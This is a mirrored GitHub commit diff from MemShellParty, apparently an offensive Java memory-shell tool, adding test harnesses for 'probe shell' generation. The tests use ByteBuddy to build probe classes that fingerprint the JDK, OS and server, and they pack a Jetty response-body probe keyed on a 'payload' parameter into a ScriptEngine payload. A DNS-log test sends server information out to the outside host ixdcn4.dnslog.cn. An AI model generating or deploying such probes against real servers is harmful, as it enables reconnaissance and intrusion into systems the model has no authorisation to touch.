mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
feat: support probe shell generation
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
package com.reajason.javaweb.probe;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/5
|
||||
*/
|
||||
class ProbeGeneratorTest {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void generate() {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.build();
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(Constants.Server.JETTY)
|
||||
.reqParamName("payload")
|
||||
.build();
|
||||
ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
|
||||
System.out.println(probeResult.getShellBytesBase64Str());
|
||||
// Files.write(Paths.get("hello.class"), probeResult.getShellBytes());
|
||||
System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/1
|
||||
*/
|
||||
public class Hello {
|
||||
@Override
|
||||
public String toString() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/1
|
||||
*/
|
||||
class JdkDetectionTest {
|
||||
|
||||
@Test
|
||||
@Disabled
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
byte[] bytes = new ByteBuddy()
|
||||
.redefine(Hello.class)
|
||||
.visit(Advice.to(JdkProbe.class).on(named("toString")))
|
||||
.make().getBytes();
|
||||
Files.write(Paths.get("jdkDetection.class"), bytes);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.reajason.javaweb.probe.payload;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/26
|
||||
*/
|
||||
class OsDetectionTest {
|
||||
|
||||
@Test
|
||||
@Disabled
|
||||
@SneakyThrows
|
||||
void testBytes() {
|
||||
byte[] bytes = new ByteBuddy()
|
||||
.redefine(Hello.class)
|
||||
.visit(Advice.to(OsProbe.class).on(named("toString")))
|
||||
.make().getBytes();
|
||||
Files.write(Paths.get("osDetection.class"), bytes);
|
||||
}
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
System.out.println(System.getProperty("os.name").toLowerCase());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.probe.payload.dns;
|
||||
|
||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/1
|
||||
*/
|
||||
class ServerDnsLogTest {
|
||||
|
||||
@Test
|
||||
@Disabled
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
Class<? extends DnsLogServer> loaded = new ByteBuddy()
|
||||
.redefine(DnsLogServer.class)
|
||||
.name("ServerDnsLogTest1")
|
||||
.field(named("host")).value("ixdcn4.dnslog.cn")
|
||||
.visit(Advice.to(ServerProbe.class).on(named("getServer")))
|
||||
.make().load(getClass().getClassLoader()).getLoaded();
|
||||
loaded.getDeclaredConstructor().newInstance();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user